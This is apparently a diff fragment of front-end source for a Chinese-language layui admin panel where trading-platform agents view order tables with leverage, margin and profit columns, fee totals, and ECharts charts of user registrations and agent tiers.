<a href="javascript:;" onclick="layer.tips('手续费统计', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;">
|
||||
<h3>手续费统计:</h3>
|
||||
<p><cite style="color:#fff" id="shouxu">0.00000000</cite></p>
|
||||
</a>
|
||||
</li>
|
||||
<li class="layui-col-xs3">
|
||||
<a href="javascript:;" onclick="layer.tips('订单总量', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;">
|
||||
<h3>订单总量</h3>
|
||||
<p><cite style="color:#fff" id="num">0</cite></p>
|
||||
</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-user-manage" lay-filter="LAY-user-manage"></table>
|
||||
<script type="text/html" id="table-useradmin-webuser">
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event=""><i class="layui-icon layui-icon-edit"></i>查看详情</a>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
// function excel()
|
||||
// {
|
||||
// $.ajax({
|
||||
// url:'/agent/order/order_excel'
|
||||
// type:'get',
|
||||
// header:{
|
||||
// access_token: layui.data('layuiAdmin').access_token
|
||||
// }
|
||||
//
|
||||
// })
|
||||
// window.location.href='/agent/order/order_excel'
|
||||
// }
|
||||
</script>
|
||||
|
||||
<script type="text/html" id="lockTpl">
|
||||
{{# if(d.type == 1){ }}
|
||||
<span class="layui-badge layui-bg-red">买入</span>
|
||||
{{# } else { }}
|
||||
<span class="layui-badge layui-bg-blue">卖出</span>
|
||||
{{# } }}
|
||||
</script>
|
||||
<script type="text/html" id="addsonTpl">
|
||||
{{# if(d.status == 0){ }}
|
||||
<i class="layui-icon layui-icon-rate"style="font-size: 16px; color: #1E9FFF;">挂单中</i>
|
||||
{{# } else if(d.status == 1) { }}
|
||||
<i class="layui-icon layui-icon-rate-half"style="font-size: 16px; color: #FFB800;">交易中</i>
|
||||
{{# } else if(d.status == 2) { }}
|
||||
|
||||
<i class="layui-icon layui-icon-refresh-3"style="font-size: 16px; color: red;">平仓中</i>
|
||||
{{# } else if(d.status == 3) { }}
|
||||
|
||||
<i class="layui-icon layui-icon-rate-solid"style="font-size: 16px; color: #009688;">已平仓</i>
|
||||
{{# } else if(d.status == 4) { }}
|
||||
|
||||
<i class="layui-icon layui-icon-close-fill"style="font-size: 16px; color: #FF5722;">已撤单</i>
|
||||
{{# } }}
|
||||
</script>
|
||||
|
||||
<script>
|
||||
layui.use(['admin', 'useradmin', 'table' , 'layer' , 'laydate'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,view = layui.view
|
||||
,table = layui.table
|
||||
,laydate = layui.laydate
|
||||
,form = layui.form;
|
||||
|
||||
|
||||
//日期
|
||||
laydate.render({
|
||||
elem: '#datestart'
|
||||
});
|
||||
laydate.render({
|
||||
elem: '#dateend'
|
||||
});
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/get_order_account',
|
||||
dataType : "json",
|
||||
data : {all : 1},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
$("#all").html(result.data._all);
|
||||
$("#toucun").html(result.data._toucun);
|
||||
$("#shouxu").html(result.data._shouxu);
|
||||
$("#num").html(result.data._num);
|
||||
|
||||
// $("#chujin").html(result.data.chujin);
|
||||
// $("#rujin").html(result.data.rujin);
|
||||
// $("#lock").html(result.data.lock);
|
||||
// $("#locklage").html(result.data.locklage);
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
//用户管理
|
||||
table.render({
|
||||
elem: '#LAY-user-manage'
|
||||
,method : 'post'
|
||||
,url: '/agent/order/list'
|
||||
,cols: [[
|
||||
{type: 'checkbox', fixed: 'left'}
|
||||
,{field: 'id', width: 60, title: 'ID', sort: true }
|
||||
,{field: 'user_name', title: '用户名', minWidth: 150 , event : "getsons",style:"color: #fff;background-color: #5FB878;"}
|
||||
,{field: 'userreal_name', title: '姓名', minWidth: 150 }
|
||||
,{field: 'parent_agent_name', title: '上级代理商', width: 120}
|
||||
,{field: 'agent_level', title: '等级', width: 100}
|
||||
,{field: 'currency_name', title: '币种', width: 100}
|
||||
,{field: 'type', title: '交易类型', width: 90, templet: '#lockTpl'}
|
||||
,{field: 'status', title: '当前状态', sort: true, width: 170, templet: '#addsonTpl'}
|
||||
// ,{field: 'origin_price', title: '原始价格', width: 120}
|
||||
,{field: 'price', title: '开仓价格', width: 120}
|
||||
// ,{field: 'update_price', title: '当前价格', width: 120}
|
||||
,{field: 'fact_profits', title: '最终盈亏', width: 120}
|
||||
,{field: 'profits', title: '当前盈亏', width: 120}
|
||||
,{field: 'share', title: '手数', sort: true, width: 90}
|
||||
,{field: 'multiple', title: '倍数', sort: true, width: 90}
|
||||
,{field: 'origin_caution_money', title: '初始保证金', width: 120}
|
||||
// ,{field: 'caution_money', title: '当前可用保证金', sort: true, width: 170}
|
||||
,{field: 'create_time', title: '创建时间', width: 170}
|
||||
// ,{field: 'update_time', title: '价格刷新时间', sort: true, width: 170}
|
||||
// ,{field: 'handle_time', title: '平仓时间', sort: true, width: 170}
|
||||
,{field: 'complete_time', title: '完成时间', width: 170}
|
||||
]]
|
||||
,page: true
|
||||
,limit: 30
|
||||
,height: 'full-320'
|
||||
,text: '对不起,加载出现异常!'
|
||||
,headers: { //通过 request 头传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
,where: { //通过参数传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
if (res !== 0 ){
|
||||
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
// setInterval(function(){
|
||||
// table.render({
|
||||
// elem: '#LAY-user-manage'
|
||||
// ,method : 'post'
|
||||
// ,url: '/agent/order/list'
|
||||
// ,cols: [[
|
||||
// {type: 'checkbox', fixed: 'left'}
|
||||
// ,{field: 'id', width: 60, title: 'ID', sort: true }
|
||||
// ,{field: 'user_name', title: '用户名', minWidth: 150 , event : "getsons",style:"color: #fff;background-color: #5FB878;"}
|
||||
// ,{field: 'userreal_name', title: '姓名', minWidth: 150 }
|
||||
// ,{field: 'parent_agent_name', title: '上级代理商', width: 120}
|
||||
// ,{field: 'agent_level', title: '等级', width: 100}
|
||||
// ,{field: 'currency_name', title: '币种', width: 100}
|
||||
// ,{field: 'type', title: '交易类型', width: 90, templet: '#lockTpl'}
|
||||
// ,{field: 'status', title: '当前状态', sort: true, width: 170, templet: '#addsonTpl'}
|
||||
// // ,{field: 'origin_price', title: '原始价格', width: 120}
|
||||
// ,{field: 'price', title: '开仓价格', width: 120}
|
||||
// // ,{field: 'update_price', title: '当前价格', width: 120}
|
||||
// ,{field: 'fact_profits', title: '最终盈亏', width: 120}
|
||||
// ,{field: 'profits', title: '当前盈亏', width: 120}
|
||||
// ,{field: 'share', title: '手数', sort: true, width: 90}
|
||||
// ,{field: 'multiple', title: '倍数', sort: true, width: 90}
|
||||
// ,{field: 'origin_caution_money', title: '初始保证金', width: 120}
|
||||
// // ,{field: 'caution_money', title: '当前可用保证金', sort: true, width: 170}
|
||||
// ,{field: 'create_time', title: '创建时间', width: 170}
|
||||
// // ,{field: 'update_time', title: '价格刷新时间', sort: true, width: 170}
|
||||
// // ,{field: 'handle_time', title: '平仓时间', sort: true, width: 170}
|
||||
// ,{field: 'complete_time', title: '完成时间', width: 170}
|
||||
// ]]
|
||||
// ,page: true
|
||||
// ,limit: 30
|
||||
// ,height: 'full-320'
|
||||
// ,text: '对不起,加载出现异常!'
|
||||
// ,headers: { //通过 request 头传递
|
||||
// access_token: layui.data('layuiAdmin').access_token
|
||||
// }
|
||||
// ,where: { //通过参数传递
|
||||
// access_token: layui.data('layuiAdmin').access_token
|
||||
// }
|
||||
// ,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
// if (res !== 0 ){
|
||||
|
||||
// if (res.code === 1001) {
|
||||
// //清空本地记录的 token,并跳转到登入页
|
||||
// admin.exit();
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// }); },60000)
|
||||
|
||||
|
||||
//导出表格
|
||||
|
||||
// table.on('tool(userlist)', function (obj) { //注:tool是工具条事件名,test是table原始容器的属性 lay-filter="对应的值"
|
||||
//// var data = obj.data;
|
||||
// var layEvent = obj.event;
|
||||
// var tr = obj.tr;
|
||||
// if (layEvent === 'excel')
|
||||
// {
|
||||
// layer_show('编辑会员','{{url('agent/order/order_excel')}}');
|
||||
// }
|
||||
//
|
||||
// });
|
||||
|
||||
|
||||
//监听工具条
|
||||
table.on('tool(LAY-user-manage)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'getsons'){
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/get_order_account',
|
||||
dataType : "json",
|
||||
data : {username : data.phone},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
$("#all").html(result.data._all);
|
||||
$("#toucun").html(result.data._toucun);
|
||||
$("#shouxu").html(result.data._shouxu);
|
||||
$("#num").html(result.data._num);
|
||||
|
||||
// $("#chujin").html(result.data.chujin);
|
||||
// $("#rujin").html(result.data.rujin);
|
||||
// $("#lock").html(result.data.lock);
|
||||
// $("#locklage").html(result.data.locklage);
|
||||
}
|
||||
});
|
||||
|
||||
//执行重载
|
||||
table.reload('LAY-user-manage', {
|
||||
where: {
|
||||
username : data.phone
|
||||
}
|
||||
,page: {
|
||||
curr: 1 //重新从第 1 页开始
|
||||
}
|
||||
,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
if (res !== 0 ){
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
|
||||
form.render(null, 'layadmin-userfront-formlist');
|
||||
|
||||
//监听搜索
|
||||
form.on('submit(LAY-user-front-search)', function(data){
|
||||
var field = data.field;
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/get_order_account',
|
||||
dataType : "json",
|
||||
data : field,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
$("#all").html(result.data._all);
|
||||
$("#toucun").html(result.data._toucun);
|
||||
$("#shouxu").html(result.data._shouxu);
|
||||
$("#num").html(result.data._num);
|
||||
|
||||
// $("#chujin").html(result.data.chujin);
|
||||
// $("#rujin").html(result.data.rujin);
|
||||
// $("#lock").html(result.data.lock);
|
||||
// $("#locklage").html(result.data.locklage);
|
||||
}
|
||||
});
|
||||
|
||||
//执行重载
|
||||
table.reload('LAY-user-manage', {
|
||||
where: field
|
||||
,page: {
|
||||
curr: 1 //重新从第 1 页开始
|
||||
}
|
||||
,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
|
||||
if (res.code === 1){
|
||||
layer.msg(res.msg ,{icon : 5});
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
//事件
|
||||
var active = {
|
||||
batchdel: function(){
|
||||
var checkStatus = table.checkStatus('LAY-user-manage')
|
||||
,checkData = checkStatus.data; //得到选中的数据
|
||||
|
||||
if(checkData.length === 0){
|
||||
return layer.msg('请选择数据');
|
||||
}
|
||||
|
||||
layer.prompt({
|
||||
formType: 1
|
||||
,title: '敏感操作,请验证口令'
|
||||
}, function(value, index){
|
||||
layer.close(index);
|
||||
|
||||
layer.confirm('确定删除吗?', function(index) {
|
||||
|
||||
//执行 Ajax 后重载
|
||||
/*
|
||||
admin.req({
|
||||
url: 'xxx'
|
||||
//,……
|
||||
});
|
||||
*/
|
||||
table.reload('LAY-user-manage');
|
||||
layer.msg('已删除');
|
||||
});
|
||||
});
|
||||
}
|
||||
,add: function(){
|
||||
layer.prompt({title: '请输入下级代理商帐号', formType: 0, btn :['查询该用户' , '取消']}, function(value, index){
|
||||
layer.close(index);
|
||||
if (value.length == 0) {
|
||||
layer.msg('用户名不能位空', {icon: 5 });
|
||||
}else{
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/searchuser',
|
||||
dataType : "json",
|
||||
data : {username : value},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
admin.popup({
|
||||
title: '添加代理商'
|
||||
,area: ['800px', '650px']
|
||||
,id: 'LAY-popup-user-add'
|
||||
,success: function(layer, index){
|
||||
view(this.id).render('user/user/userform' , result.data).done(function(){
|
||||
form.render(null, 'layuiadmin-form-useradmin'); //渲染表单
|
||||
//监听提交
|
||||
form.on('submit(LAY-user-front-submit)', function(data){
|
||||
var field = data.field; //获取提交的字段
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/addagent',
|
||||
dataType : "json",
|
||||
data : field,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
console.log(result);
|
||||
layui.layer.msg(result.msg, {icon: 6 });
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
layui.table.reload('LAY-user-manage'); //重载表格
|
||||
layui.layer.close(index); //执行关闭
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
$('.layui-btn.layuiadmin-btn-useradmin').on('click', function(){
|
||||
var type = $(this).data('type');
|
||||
active[type] ? active[type].call(this) : '';
|
||||
});
|
||||
$('.dao').click(function(){
|
||||
let token = localStorage.getItem('layuiAdmin');
|
||||
token = JSON.parse(token);
|
||||
let tokens = token.access_token;
|
||||
console.log(window.location)
|
||||
window.location.href= "/order/order_excel?access_token" + tokens;
|
||||
|
||||
// $.ajax({
|
||||
// url:'/order/order_excel',
|
||||
// type:'get',
|
||||
// data:{
|
||||
// access_token:tokens
|
||||
// },
|
||||
// headers:{"access_token": tokens},
|
||||
// success: function (res) {
|
||||
// alert(55);
|
||||
// window.location.href="/order/order_excel"
|
||||
// }
|
||||
//
|
||||
// })
|
||||
})
|
||||
|
||||
});
|
||||
//function excel() {
|
||||
//
|
||||
//
|
||||
//}
|
||||
</script>
|
||||
@@ -0,0 +1,392 @@
|
||||
|
||||
|
||||
<title>代理商</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>代理商</cite></a>
|
||||
<a><cite>代理商用户</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-row layui-col-space15">
|
||||
<div class="layui-col-md12">
|
||||
<div class="layui-card">
|
||||
<!--<div class="layui-card-header">标准柱状图</div>-->
|
||||
<div class="layui-card-body">
|
||||
|
||||
<div class="layui-carousel layadmin-carousel layadmin-dataview" data-anim="fade" lay-filter="LAY-index-normcol">
|
||||
<div carousel-item id="LAY-index-normcol">
|
||||
<div><i class="layui-icon layui-icon-loading1 layadmin-loading"></i></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md6">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-body">
|
||||
|
||||
<div class="layui-carousel layadmin-carousel layadmin-dataview" data-anim="fade" lay-filter="LAY-index-money">
|
||||
<div carousel-item id="LAY-index-money">
|
||||
<div><i class="layui-icon layui-icon-loading1 layadmin-loading"></i></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md6">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-body">
|
||||
|
||||
<div class="layui-carousel layadmin-carousel layadmin-dataview" data-anim="fade" lay-filter="LAY-index-bin">
|
||||
<div carousel-item id="LAY-index-bin">
|
||||
<div><i class="layui-icon layui-icon-loading1 layadmin-loading"></i></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.define(function(exports){
|
||||
layui.use('useradmin', layui.factory('useradmin')).use(['admin', 'layer' , 'laydate' , 'form'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,laydate = layui.laydate
|
||||
,form = layui.form;
|
||||
|
||||
//日期
|
||||
laydate.render({
|
||||
elem: '#datestart'
|
||||
});
|
||||
laydate.render({
|
||||
elem: '#dateend'
|
||||
});
|
||||
|
||||
//监听搜索
|
||||
form.on('submit(LAY-user-front-search)', function(data){
|
||||
var field = data.field;
|
||||
field.type = 'search';
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/dojie',
|
||||
dataType : "json",
|
||||
data : field,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
layui.layer.msg(result.msg, {icon: 6 });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/user',
|
||||
dataType : "json",
|
||||
data : {type : 'all'},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载图表
|
||||
show_table(result.data);
|
||||
}
|
||||
});
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/user_num',
|
||||
dataType : "json",
|
||||
data : {type : 'all'},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载图表
|
||||
show_bin(result.data);
|
||||
}
|
||||
});
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/user_money',
|
||||
dataType : "json",
|
||||
data : {type : 'all'},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载图表
|
||||
show_money(result.data);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
function show_table (returnData){
|
||||
//区块轮播切换
|
||||
layui.use(['admin', 'carousel'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,carousel = layui.carousel
|
||||
,element = layui.element
|
||||
,device = layui.device();
|
||||
|
||||
//轮播切换
|
||||
$('.layadmin-carousel').each(function(){
|
||||
var othis = $(this);
|
||||
carousel.render({
|
||||
elem: this
|
||||
,width: '100%'
|
||||
,arrow: 'none'
|
||||
,interval: othis.data('interval')
|
||||
,autoplay: othis.data('autoplay') === true
|
||||
,trigger: (device.ios || device.android) ? 'click' : 'hover'
|
||||
,anim: othis.data('anim')
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
//柱状图
|
||||
layui.use(['echarts'], function(){
|
||||
var $ = layui.$
|
||||
,echarts = layui.echarts;
|
||||
|
||||
//标准柱状图
|
||||
var echnormcol = [], normcol = [
|
||||
{
|
||||
title : {
|
||||
text: '最近52周用户统计',
|
||||
subtext: '单位:个'
|
||||
},
|
||||
tooltip : {
|
||||
trigger: 'axis'
|
||||
},
|
||||
color:['#c23531', '#d48265'],
|
||||
legend: {
|
||||
data:['注册用户','活跃用户']
|
||||
},
|
||||
calculable : true,
|
||||
xAxis : [
|
||||
{
|
||||
type : 'category',
|
||||
data : returnData.xAxis //['1月','2月','3月','4月','5月','6月','7月','8月','9月','10月','11月','12月']
|
||||
}
|
||||
],
|
||||
yAxis : [
|
||||
{
|
||||
type : 'value'
|
||||
}
|
||||
],
|
||||
series : [
|
||||
{
|
||||
name:'注册用户',
|
||||
type:'bar',
|
||||
data: returnData.reg, //[2.0, 4.9, 7.0, 23.2, 245.6, 76.7, 135.6, 162.2, 32.6, 20.0, 6.4, 3.3],
|
||||
markPoint : {
|
||||
data : [
|
||||
{type : 'max', name: '最大值'},
|
||||
{type : 'min', name: '最小值'}
|
||||
]
|
||||
},
|
||||
markLine : {
|
||||
data : [{type : 'average', name: '平均值'}]
|
||||
}
|
||||
},
|
||||
|
||||
{
|
||||
name:'活跃用户',
|
||||
type:'bar',
|
||||
data: returnData.huoyue, //[2.0, 4.9, 7.0, 23.2, 245.6, 76.7, 135.6, 162.2, 32.6, 20.0, 6.4, 3.3],
|
||||
markPoint : {
|
||||
data : [
|
||||
{type : 'max', name: '最大值'},
|
||||
{type : 'min', name: '最小值'}
|
||||
]
|
||||
},
|
||||
markLine : {
|
||||
data : [{type : 'average', name: '平均值'}]
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
,elemNormcol = $('#LAY-index-normcol').children('div')
|
||||
,renderNormcol = function(index){
|
||||
echnormcol[index] = echarts.init(elemNormcol[index], layui.echartsTheme);
|
||||
echnormcol[index].setOption(normcol[index]);
|
||||
window.onresize = echnormcol[index].resize;
|
||||
};
|
||||
if(!elemNormcol[0]) return;
|
||||
renderNormcol(0);
|
||||
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
|
||||
function show_bin (returnData) {
|
||||
//区块轮播切换
|
||||
layui.use(['admin', 'carousel'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,carousel = layui.carousel
|
||||
,element = layui.element
|
||||
,device = layui.device();
|
||||
|
||||
//轮播切换
|
||||
$('.layadmin-carousel').each(function(){
|
||||
var othis = $(this);
|
||||
carousel.render({
|
||||
elem: this
|
||||
,width: '100%'
|
||||
,arrow: 'none'
|
||||
,interval: othis.data('interval')
|
||||
,autoplay: othis.data('autoplay') === true
|
||||
,trigger: (device.ios || device.android) ? 'click' : 'hover'
|
||||
,anim: othis.data('anim')
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
//柱状图
|
||||
layui.use(['echarts'], function () {
|
||||
var $ = layui.$
|
||||
, echarts = layui.echarts;
|
||||
|
||||
var echheapcol = [], heapcol = [
|
||||
{
|
||||
title : {
|
||||
text: '用户身份饼状图',
|
||||
subtext: '单位:个',
|
||||
x:'center'
|
||||
},
|
||||
tooltip : {
|
||||
trigger: 'item',
|
||||
formatter: "{a} <br/>{b} : {c} ({d}%)"
|
||||
},
|
||||
legend: {
|
||||
orient: 'vertical',
|
||||
x: 'left',
|
||||
data: ['普通用户','一级代理商','二级代理商','三级代理商','四级代理商']
|
||||
},
|
||||
series : [
|
||||
{
|
||||
name: '访问来源',
|
||||
type: 'pie',
|
||||
radius : '55%',
|
||||
center: ['50%', '60%'],
|
||||
data:[
|
||||
{value:returnData.san, name:'普通用户'},
|
||||
{value:returnData.one, name:'一级代理商'},
|
||||
{value:returnData.two, name:'二级代理商'},
|
||||
{value:returnData.three, name:'三级代理商'},
|
||||
{value:returnData.four, name:'四级代理商'}
|
||||
],
|
||||
itemStyle: {
|
||||
emphasis: {
|
||||
shadowBlur: 10,
|
||||
shadowOffsetX: 0,
|
||||
shadowColor: 'rgba(0, 0, 0, 0.5)'
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
, elemHeapcol = $('#LAY-index-bin').children('div')
|
||||
, renderHeapcol = function (index) {
|
||||
echheapcol[index] = echarts.init(elemHeapcol[index], layui.echartsTheme);
|
||||
echheapcol[index].setOption(heapcol[index]);
|
||||
window.onresize = echheapcol[index].resize;
|
||||
};
|
||||
if (!elemHeapcol[0]) return;
|
||||
renderHeapcol(0);
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
function show_money (returnData) {
|
||||
//区块轮播切换
|
||||
layui.use(['admin', 'carousel'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,carousel = layui.carousel
|
||||
,element = layui.element
|
||||
,device = layui.device();
|
||||
|
||||
//轮播切换
|
||||
$('.layadmin-carousel').each(function(){
|
||||
var othis = $(this);
|
||||
carousel.render({
|
||||
elem: this
|
||||
,width: '100%'
|
||||
,arrow: 'none'
|
||||
,interval: othis.data('interval')
|
||||
,autoplay: othis.data('autoplay') === true
|
||||
,trigger: (device.ios || device.android) ? 'click' : 'hover'
|
||||
,anim: othis.data('anim')
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
//柱状图
|
||||
layui.use(['echarts'], function () {
|
||||
var $ = layui.$
|
||||
, echarts = layui.echarts;
|
||||
|
||||
var echheapcol = [], heapcol = [
|
||||
{
|
||||
title : {
|
||||
text: '贡献收益',
|
||||
subtext: '单位:元',
|
||||
x:'center'
|
||||
},
|
||||
tooltip : {
|
||||
trigger: 'item',
|
||||
formatter: "{a} <br/>{b} : {c} ({d}%)"
|
||||
},
|
||||
legend: {
|
||||
orient: 'vertical',
|
||||
x: 'left',
|
||||
data: ['普通用户','一级代理商','二级代理商','三级代理商','四级代理商']
|
||||
},
|
||||
series : [
|
||||
{
|
||||
name: '访问来源',
|
||||
type: 'pie',
|
||||
radius : '55%',
|
||||
center: ['50%', '60%'],
|
||||
data:[
|
||||
{value:returnData.san, name:'普通用户'},
|
||||
{value:returnData.one, name:'一级代理商'},
|
||||
{value:returnData.two, name:'二级代理商'},
|
||||
{value:returnData.three, name:'三级代理商'},
|
||||
{value:returnData.four, name:'四级代理商'}
|
||||
],
|
||||
itemStyle: {
|
||||
emphasis: {
|
||||
shadowBlur: 10,
|
||||
shadowOffsetX: 0,
|
||||
shadowColor: 'rgba(0, 0, 0, 0.5)'
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
, elemHeapcol = $('#LAY-index-money').children('div')
|
||||
, renderHeapcol = function (index) {
|
||||
echheapcol[index] = echarts.init(elemHeapcol[index], layui.echartsTheme);
|
||||
echheapcol[index].setOption(heapcol[index]);
|
||||
window.onresize = echheapcol[index].resize;
|
||||
};
|
||||
if (!elemHeapcol[0]) return;
|
||||
renderHeapcol(0);
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
});
|
||||
|
||||
</script>
|
||||
@@ -0,0 +1,395 @@
|
||||
|
||||
|
||||
<title>代理商</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>代理商</cite></a>
|
||||
<a><cite>代理商用户</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-row layui-col-space15">
|
||||
<div class="layui-col-md12">
|
||||
<div class="layui-card">
|
||||
<!--<div class="layui-card-header">标准柱状图</div>-->
|
||||
<div class="layui-card-body">
|
||||
|
||||
<div class="layui-carousel layadmin-carousel layadmin-dataview" data-anim="fade" lay-filter="LAY-index-normcol">
|
||||
<div carousel-item id="LAY-index-normcol">
|
||||
<div><i class="layui-icon layui-icon-loading1 layadmin-loading"></i></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md6">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-body">
|
||||
|
||||
<div class="layui-carousel layadmin-carousel layadmin-dataview" data-anim="fade" lay-filter="LAY-index-money">
|
||||
<div carousel-item id="LAY-index-money">
|
||||
<div><i class="layui-icon layui-icon-loading1 layadmin-loading"></i></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md6">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-body">
|
||||
|
||||
<div class="layui-carousel layadmin-carousel layadmin-dataview" data-anim="fade" lay-filter="LAY-index-bin">
|
||||
<div carousel-item id="LAY-index-bin">
|
||||
<div><i class="layui-icon layui-icon-loading1 layadmin-loading"></i></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.define(function(exports){
|
||||
layui.use('useradmin', layui.factory('useradmin')).use(['admin', 'layer' , 'laydate' , 'form'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,laydate = layui.laydate
|
||||
,form = layui.form;
|
||||
|
||||
//日期
|
||||
laydate.render({
|
||||
elem: '#datestart'
|
||||
});
|
||||
laydate.render({
|
||||
elem: '#dateend'
|
||||
});
|
||||
|
||||
//监听搜索
|
||||
form.on('submit(LAY-user-front-search)', function(data){
|
||||
var field = data.field;
|
||||
field.type = 'search';
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/dojie',
|
||||
dataType : "json",
|
||||
data : field,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
layui.layer.msg(result.msg, {icon: 6 });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
//订单图表
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/order',
|
||||
dataType : "json",
|
||||
data : {type : 'all'},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载图表
|
||||
show_table(result.data);
|
||||
}
|
||||
});
|
||||
|
||||
//订单数量饼状图
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/order_num',
|
||||
dataType : "json",
|
||||
data : {type : 'all'},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载图表
|
||||
console.log(result);
|
||||
|
||||
show_bin(result.data);
